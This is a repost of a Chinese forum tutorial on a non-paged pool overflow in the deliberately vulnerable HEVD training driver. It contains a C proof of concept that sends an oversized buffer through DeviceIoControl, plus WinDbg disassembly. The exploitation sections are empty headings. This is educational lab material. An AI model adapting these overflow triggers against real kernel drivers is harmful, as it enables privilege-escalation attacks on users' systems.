本文为看雪论坛优秀文章
一 • 堆溢出到池溢出
-
它是谁:函数是哪里出现问题的,我们可以判断出它是哪种类型的漏洞。
-
到哪里去:函数会导致什么后果,从而触发漏洞 -
从哪里来:如何去调用到目标函数。
二 • 它是谁?
那么我们先简单的编制一个poc,证明漏洞的存在。
#include<stdio.h>
#include<windows.h>
int main() {
ULONG bReturn = 0;
HANDLE hevDevice;
ULONG BytesReturned;
hevDevice = (HANDLE)CreateFileA("\\.\HackSysExtremeVulnerableDriver", 0xC0000000, 0, NULL, 0x3, 0, NULL);
char buf[0x1f8] = { 0 };
if (!hevDevice) {
printf(" failed to get handle");
}
RtlFillMemory(buf, 0x1f8, 'a');
DeviceIoControl(hevDevice, 0x22200f, buf, 0x1f8, NULL, 0, &bReturn, NULL);
return 0;
}
kd> u HEVD!TriggerBufferOverflowNonPagedPool+0xf0
HEVD!TriggerBufferOverflowNonPagedPool+0xf0 [c:projectshevddriverhevdbufferoverflownonpagedpool.c @ 137]:
839f3dbe ff750c push dword ptr [ebp+0Ch]
839f3dc1 ff7508 push dword ptr [ebp+8]
839f3dc4 53 push ebx
839f3dc5 e812c4fbff call HEVD!memcpy (839b01dc)
839f3dca 6886659f83 push offset HEVD! ?? ::NNGAKEGL::`string' (839f6586)
839f3dcf 6a03 push 3
839f3dd1 6a4d push 4Dh
839f3dd3 ffd7 call edi
kd> u HEVD!TriggerBufferOverflowNonPagedPool+0xf7
HEVD!TriggerBufferOverflowNonPagedPool+0xf7 [c:projectshevddriverhevdbufferoverflownonpagedpool.c @ 137]:
839f3dc5 e812c4fbff call HEVD!memcpy (839b01dc)
839f3dca 6886659f83 push offset HEVD! ?? ::NNGAKEGL::`string' (839f6586)
839f3dcf 6a03 push 3
839f3dd1 6a4d push 4Dh
839f3dd3 ffd7 call edi
839f3dd5 681a619f83 push offset HEVD! ?? ::NNGAKEGL::`string' (839f611a)
839f3dda 688e649f83 push offset HEVD! ?? ::NNGAKEGL::`string' (839f648e)
839f3ddf 6a03 push 3
kd> bp HEVD!TriggerBufferOverflowNonPagedPool+0xf7
试着多发送8个字节的内容。
此时我们已经彻底明白了,漏洞“是谁”。
三 • 到哪里去?
四 • 函数来释放这段空间
利用:
道别时想说些什么
参考链接:
-
https://50u1w4y.github.io/site/HEVD/nonPagedpooloverflow/#0x00 -
https://bbs.pediy.com/thread-252665.htm
看雪ID:某警官
https://bbs.pediy.com/user-home-856450.htm
*本文由看雪论坛 某警官 原创,转载请注明来自看雪社区。
# 往期推荐
球分享
球点赞
球在看
点击“阅读原文”,了解更多!
本文始发于微信公众号(看雪学院):HEVD池溢出系列
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论